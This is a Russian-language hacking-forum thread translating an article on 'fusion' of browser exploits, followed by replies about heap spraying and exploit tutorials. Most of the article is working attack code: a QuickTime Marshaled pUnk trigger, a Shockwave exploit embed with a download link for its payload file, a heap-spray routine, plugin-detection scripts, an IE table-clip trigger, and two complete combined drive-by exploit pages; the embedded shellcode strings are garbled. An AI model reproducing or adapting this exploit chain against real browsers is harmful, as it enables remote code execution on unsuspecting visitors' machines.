• XSS.stack #1 – первый литературный журнал от юзеров форума

Сплавка эксплойтов - составное использование

Ma-stiff

(L1) cache
Пользователь
Регистрация
15.11.2004
Сообщения
976
Реакции
4
Предисловие: перевод несколько вольный, к тому же я не имею досконального знакомства с темой и что-то мог перевести неправильно; в частности, я не был уверен, как переводить термин "heap spray". Если вы заметите явные неточности - отпишитесь.

Сплавка эксплойтов - составное использование
Исследовательская команда: Legion Of XTRemers, Индия
Особый привет SECFENCE TEAM и GARAGE 4 HACKERS

Сложно с чем-то сравнить значимость шанса "пробить" конкретную жертву. И хакер никогда не упустит такой шанс. В таких случаях, обычные способы зачастую не срабатывают. Но почему? Обычно стараются "пробить" всё, что можно, и сцепляют несколько эксплойтов для увеличения шансов выполнения удалённого кода. Но в некоторых случаях нельзя предугалать, какие уязвимые продукты используются на целевой машине. Случаи, требующие конкретного эксплойта требует дополнительных ресурсов, и 1 несработавший эксплойт может запороть всё дело. Такая ситуация обычно встречается с эксплойтами типа heap spray ("хип спрей", "спрей кучи" или "распыление кучи" - прим. переводчика). Хотя есть несколько других, к которым это применимо.
В этой статье будет обсуждено слияние эксплойтов типа хип спрей таким образом, чтобы они исполнялись под "одной крышей" (делили ресурсы). Некоторые уязвимости, запускаемые через JS и не нуждающиеся в дополнительных плагинах или ActiveX компонентах, наиболее просты для последовательного запуска. Но в случае сплавленных эксплойтов, использующих ActiveX или плагины, нужно решить несколько проблем перед использованием уязвимости.
В этой статье я собираюсь сплавить эксплойт Apple QuickTime Marshalled pUnk и зеродей Adobe-а.
Код Apple QuickTime Marshalled pUnk

Код:
<script language=javascript>
addr = 354552864; // 0x15220C20 [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
document.write(obj);
</script>

И использование уязвимости rcsL chunk memory corruption для Shockwave Player:

Код:
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=shockit width=600 height=430 VIEWASTEXT>
<param name=src value="exploit.DIR">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=fill>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill
type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>
</object>

Прим.: Уязвимости Shockwave нужен файл exploit.DIR, поставляемый с оригинальным эксплойтом. Качайте с
http://www.exploit-db.com/exploits/15296/

И следующий хип спрей код будет использован для этих уязвимостей:

Код:
<script language=javascript>
/*---------- Heap-Spray Circuit ------------*/
var shellcode=unescape('Javascript Unicode Shellcode');
block=unescape("%u0c0c?");
headersize=20;
space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<40000) {
blk=blk+blk+suffixBlock;
}
arrBuffer=new Array();
for(var i=0;i<800;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>

В случае сплавки запуска нескольких уязвимостей снжается фактор гонки между ними, и если первый запуск проходит и эксплойт запускается, то браузер обычно не запускает остальные, потому что в большинстве случаев процесс браузера приостанавливается. Фактор гонки снижается.
Обычно, псевдоструктура сплавленного эксплойта выглядит так:

Код:
[Хип спрей]
[запуск 1-ой уязвимости]
[запуск 2-ой уязвимости]

Это сработает, если 1-ая уязвимость правильно запустится, но провалится, если объект, относящийся к ней, отсутствует, в этом случае будет запущен сборщик мусора и весь спрей испарится до запуска 2-ой уязвимости. Эта ситуация нежеланна и помешает 2-му эксплойту, даже если он сам по себе способен "пробить" уязвимость.
Для решения этой проблемы пред запуском нужно уюедиться, что соответствующий компонент присутствет в целевом браузере.
Так что теперь предложенная выше псевдоструктура должна выглядеть так:

Код:
переменная go1 = false
переменная go2 = false
if : [1-ый компонент присутствует] -->go1 = true
else if [2-ой компонент присутствует] -->go2 = true

[Хип спрей]

if [go1 == true] --> [запуск 1-ой уязвимости]
else if[go2 == true] --> [запуск 2-ой уязвимости]

Но как узнать, присутствует ли нужный компонент? HTML - язык, не поддерживающий состояния объектов и не поможет в получении информации о присутствии конкретного компонента в большинстве случаев. Чтобы обойти это препятствие, нужно сделать проверку вызовом компонента перед спреем и проверить дефолтные значения его параметров. В других случаях проверку можно сделать правильным вызовом компонента, передачей чего-либо на обработку и проверкой вывода
Иногда скрипты могут сказать, присутсвует ли конкретный компонент. В случае Adobe Shockwave можно проверить, например, значение src shockwave компонента; если он установлен, то значение будет "", если не задано, если не установлен - "undefined"; это можно проверить, используя следующий код:

Код:
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
document.write("shockex.src : "+shockex.src);
</script>

Тогда как приведённый выше способ не сработает со свойствами Apple QuickTime. Но следующий скрипт может обнаружить Apple QuickTime, он приведён на их форуме:

Код:
<script>
var qcheck = false;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script>
document.write("
quicktime : "+qcheck);
</script>

Можно использовать эти скриптлеты, чтобы решить, какие уязвимости должны быть использованы.
Соединив эти способы, можно создать сплавленный эксплойт:

Код:
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>

<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>

<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>

<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('???????????"?????????????????? ??????????п?????????????????????????????????????? ????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>
</body>
</html>

</--- Fusion Exploit End --->

--------------------
Распыляя лишний спрей: в некоторых случаях разные эксплойты могут потребовать разное количество хип спреев. Наилучший результат может быть достигнут только если уязвимости с низким спреем срабатывают первыми, в возрастающем порядке количества требуемого спрея. Например, новый зеродей IE, требующий высокого спрея кучи, тоже может быть сплавлен с приведённым набором эксплойтов.
Далее использование новой уязвимости для IE 6, 7, 8:

Код:
document.write("<table style=position:absolute;clip:rect(0)>");

Но он требует большего спрея, так что можно распылить ещё немного перед запуском. Следующий код даст достаточно спрея для упешного запуска:

Код:
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
</script>

И код, который нужно внедрить в приведённый выше набор:

Код:
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>

Теперь набор сплавленных эксплойтов, после добавления эксплойта для IE:

Код:
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>

<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>

<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>

<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('%u9090??????????"????????????? ???????????????п????????????????????????????????? ?????????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>

<script>
/*------------IE exploit--------------*/
// Tested on IE 6, If will fail in higher,
// just increase a little the spray ammount.
// Doesnt need any component detection code
// as in quicktime or shockwave.

for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
/*------------IE exploit end----------*/
</script>


</body>
</html>

</--- Fusion Exploit End --->

Источник: http://packetstormsecurity.org/files/97163...ploitation.html
 
Heap-Spray ненадо переводить дословно, смысл в том, что для успешной реализации атаки, по куче(HEAP) распыляется(SPRAY) специально сформированный кусок кода множество раз.

Грубо говоря, из-за того что неизвестно на какеой именно участок кучи приведет нас использованная уязвимость, наша задача засрать (заспрэить простите) как можно больший участок конструкцией НАПРИМЕР: nop+nop+nop+nop+shellcode. В результате эксплуатации уязвимости, eip будет указывать на nop с вероятностью выше чем на середину шелкода. И вероятность того, что она вообще будет указывать на такую конструкцию выше, из за распыления подобного кода множество раз. В итоге мы увидим что-то вроде nop+nop+nop+nop+shellcode+nop+nop+nop+nop+shellcode+nop+nop+nop+nop+shellcode+nop+nop+nop+nop+shellcode................


П.С. Неплохо бы приложить оригинал статьи :)
 
паук
Спс за пояснение, хотя я уже почитал немного на эту тему)
Не очень понимаю, зачем оригинал, но выложу чуть позже.
 
ориг нужен для того что если в переводе допущены неточности либо непонятные весчи, в ориге можно посмотреть что же все таки имелось ввиду.
да и хороший тон это выкладывать оригинал, с которого переводится.

статья интересная, сейчас тема более чем актуальна.
за проделанную работу + в репу ;)
 
переводите статьи с corelan.be, это не статья, автор понятия не имеет как это все работает, не рассказывает про защиты и использование против них хип спрея.

паук, очень редко в мемори корупт сплоитах заранее неизвестно куда будет передано управление и тогда делают просто 1500 страниц спрея забитого адресом куда хотелось бы получить управление. в остальном случае, спрей можно юзать довольно точно, строить в нем роп и т.д. и т.п.
 
Данную статью не читал, но вскользь понял, что видел нечто подобное, если не ошибаюсь на експлойт-дб, и там шла речь про триггеры, мол, выборка шк, смещений, и самой функции пробива. Забавная вещь, возмножно это та статья.
К каменту Хвойного:
ежели кто имеет желание помочь с переводом корелановского тутора (и, возможно, в дальнейшем других статей/манов/туторов), милости прошу в джаббер
P(eaZ@exploit.im.
Я почти закончил 6-ую часть (не занимался переводом около года). Остается ещё 5, самых интересных. Собираюсь возобновить работу в данном направлении, спешл фо дамагелаб. Так же интересно затронуть и углубиться в тему поиска багов, фазинг( фо одей), биндиф (фо 1-овердохуя дей), и т.п.
 
Поискал, добавил в пост источник (откуда, очевидно, была скачана переданная мне статья), а оригинальный пост с этой статьёй, с некоторыми отличиями, находится здесь.
p(eaZ
Джаббера пока нет, но в принципе с переводами помочь готов.
 
Да, это оно, читал.
Ежели готов, то можешь взяться за эту часть:
https://www.corelan.be/index.php/2010/02/25...32-shellcoding/
Чтобы было более понятно о чем там идет речь, можешь сразу прочесть это:
http://watugonadu.blogspot.com/2011/11/blog-post.html
Описание статического/динамического поиска одинаковое.

Также demien решил оказать помощь, и взялся за перевод 7-ой части.
 
Замечания к переводу:
язык, не поддерживающий состояния и не поможет
проверку вызовом коспонента перед
сплавленный эксплойт

В остальном - читается легко. Видно что переводчик старался и приводил перевод к читаемому и удобному виду. От меня огромное спасибо.
 
Забыл сделать проверку в Ворде.
Ar3s
язык, не поддерживающий состояния и не поможет
Множественное специально, читай как "язык, не поддерживающий состояния объектов".
Спс, отредактил изначальный пост.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх